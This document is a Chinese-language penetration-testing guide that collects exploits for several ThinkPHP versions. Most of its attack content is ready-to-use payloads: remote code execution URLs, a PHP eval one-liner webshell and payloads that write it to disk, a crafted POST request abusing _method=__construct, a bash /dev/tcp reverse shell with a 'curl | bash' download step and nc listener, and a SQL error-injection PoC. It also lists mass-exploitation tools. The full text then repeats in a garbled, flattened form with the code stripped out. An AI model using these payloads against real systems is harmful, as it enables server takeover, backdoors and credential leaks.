ThinkPHP渗透思路合集
字数 1646 2025-08-09 19:58:05

ThinkPHP渗透思路合集

前言

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP。它遵循Apache2开源协议发布,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

本地安装

  1. 官网下载:http://www.thinkphp.cn/down.html
  2. 经典版本分类:
    • ThinkPHP 2.x
    • ThinkPHP 3.x
    • ThinkPHP 5.x
    • ThinkPHP 6.x
  3. 安装步骤:
    • 安装vc9_x86(必装)
    • 安装phpstudy-2016
    • 将ThinkPHP包放到WWW目录下
  4. 默认目录结构:
    • 默认存在robots.txt(存在信息泄露风险)
    • 写入的shell存放在:C:\phpStudy\WWW\a001\public
    • 日志目录:C:\phpStudy\WWW\a001\thinkphp\library\think\log
  5. 域名配置:
    • 目录要选到public目录下才能识别router.php
    • 修改hosts文件添加域名解析

本地漏洞复现

Poc1 - phpinfo执行

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

Poc2 - 写入一句话木马

  1. 一句话木马内容:
<?php eval($_POST['a']);?>
  1. URL编码后:
%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e
  1. 最终payload:
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e

Vulhub-Thinkphp复现

Thinkphp 2.x 任意代码执行漏洞

漏洞原理
ThinkPHP2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

影响版本

  • ThinkPHP 2.x
  • ThinkPHP3.0版本Lite模式

漏洞验证

/index.php?s=/index/index/name/${@phpinfo()}

或URL编码:

/index.php?s=/index/index/name/$%7B@phpinfo()%7D

Poc

/index.php?s=a/b/c/${@print(e val($_POST[1]))}

抓包改为POST请求,执行命令:

1=system('id');

反弹shell

  1. 准备shell.sh:
bash -i >& /dev/tcp/192.168.175.130/8888 0>&1
  1. 开启HTTP服务:
python -m SimpleHTTPServer 9999
  1. 开启监听:
nc -lvvp 8888
  1. 执行:
1=system("curl 192.168.175.130:9999/shell.sh | bash");

Thinkphp5-5.0.22/5.1.29远程代码执行漏洞

漏洞原理
ThinkPHP5错误处理了控制器名称,如果网站未启用强制路由(默认设置),可以执行任何方法,导致RCE漏洞。

影响版本

  • 5.0.22
  • 5.1.29

漏洞验证

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

任意代码执行

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

写入webshell

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e

Thinkphp5.0.23远程代码执行漏洞

漏洞原理
ThinkPHP5.0(<5.0.24)在获取请求方法时错误处理了方法名,攻击者可调用Request类的任何方法构造利用链,导致RCE。

影响版本

  • Thinkphp 5.0.0~5.0.23

漏洞验证
POST请求:

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.175.209:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

反弹shell

  1. 准备shell.sh
  2. 开启HTTP服务
  3. 开启监听
  4. 执行:
curl 192.168.175.130:9999/shell.sh | bash

Thinkphp敏感信息泄露

漏洞原理
传入参数在绑定编译指令时未安全处理,预编译导致SQL异常报错。ThinkPHP5默认开启debug模式,构造错误SQL语法会泄漏数据库账户和密码。

影响版本

  • ThinkPHP <5.1.23

漏洞验证

/index.php?ids[]=1&ids[]=2

Poc

/index.php?ids[0,updatex ml(0,concat(0xa,user()),0)]=1

Thinkphp自动化武器

Thinkphp综合利用工具

  1. ThinkPHPBatchPoc群扫

    • 可手动添加Poc
    • 自动补充http头
    • 使用:
      -u 单个URL
      -f 执行文件
      
  2. TPscan

  3. AttackWebFrameworkTools

    • 项目地址:GitHub
    • 需要安装.NET Framework 4.5
    • 使用前需新建两个文本文档
  4. Thinkphp攻击武器

    • 双击打开即可使用

总结

本文详细介绍了ThinkPHP多个版本的漏洞原理、影响版本、验证方法和利用方式,包括:

  1. ThinkPHP 2.x任意代码执行漏洞
  2. ThinkPHP 5.0.22/5.1.29远程代码执行漏洞
  3. ThinkPHP 5.0.23远程代码执行漏洞
  4. ThinkPHP敏感信息泄露漏洞

同时提供了多种自动化利用工具,帮助安全研究人员进行渗透测试。在实际测试中,请确保获得授权后再进行操作。

ThinkPHP渗透思路合集 前言 ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP。它遵循Apache2开源协议发布,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。 本地安装 官网下载:http://www.thinkphp.cn/down.html 经典版本分类: ThinkPHP 2.x ThinkPHP 3.x ThinkPHP 5.x ThinkPHP 6.x 安装步骤: 安装vc9_ x86(必装) 安装phpstudy-2016 将ThinkPHP包放到WWW目录下 默认目录结构: 默认存在robots.txt(存在信息泄露风险) 写入的shell存放在: C:\phpStudy\WWW\a001\public 日志目录: C:\phpStudy\WWW\a001\thinkphp\library\think\log 域名配置: 目录要选到public目录下才能识别router.php 修改hosts文件添加域名解析 本地漏洞复现 Poc1 - phpinfo执行 Poc2 - 写入一句话木马 一句话木马内容: URL编码后: 最终payload: Vulhub-Thinkphp复现 Thinkphp 2.x 任意代码执行漏洞 漏洞原理 : ThinkPHP2.x版本中,使用preg_ replace的/e模式匹配路由: 导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。 影响版本 : ThinkPHP 2.x ThinkPHP3.0版本Lite模式 漏洞验证 : 或URL编码: Poc : 抓包改为POST请求,执行命令: 反弹shell : 准备shell.sh: 开启HTTP服务: 开启监听: 执行: Thinkphp5-5.0.22/5.1.29远程代码执行漏洞 漏洞原理 : ThinkPHP5错误处理了控制器名称,如果网站未启用强制路由(默认设置),可以执行任何方法,导致RCE漏洞。 影响版本 : 5.0.22 5.1.29 漏洞验证 : 任意代码执行 : 写入webshell : Thinkphp5.0.23远程代码执行漏洞 漏洞原理 : ThinkPHP5.0( <5.0.24)在获取请求方法时错误处理了方法名,攻击者可调用Request类的任何方法构造利用链,导致RCE。 影响版本 : Thinkphp 5.0.0~5.0.23 漏洞验证 : POST请求: 反弹shell : 准备shell.sh 开启HTTP服务 开启监听 执行: Thinkphp敏感信息泄露 漏洞原理 : 传入参数在绑定编译指令时未安全处理,预编译导致SQL异常报错。ThinkPHP5默认开启debug模式,构造错误SQL语法会泄漏数据库账户和密码。 影响版本 : ThinkPHP <5.1.23 漏洞验证 : Poc : Thinkphp自动化武器 Thinkphp综合利用工具 ThinkPHPBatchPoc群扫 可手动添加Poc 自动补充http头 使用: TPscan AttackWebFrameworkTools 项目地址: GitHub 需要安装.NET Framework 4.5 使用前需新建两个文本文档 Thinkphp攻击武器 双击打开即可使用 总结 本文详细介绍了ThinkPHP多个版本的漏洞原理、影响版本、验证方法和利用方式,包括: ThinkPHP 2.x任意代码执行漏洞 ThinkPHP 5.0.22/5.1.29远程代码执行漏洞 ThinkPHP 5.0.23远程代码执行漏洞 ThinkPHP敏感信息泄露漏洞 同时提供了多种自动化利用工具,帮助安全研究人员进行渗透测试。在实际测试中,请确保获得授权后再进行操作。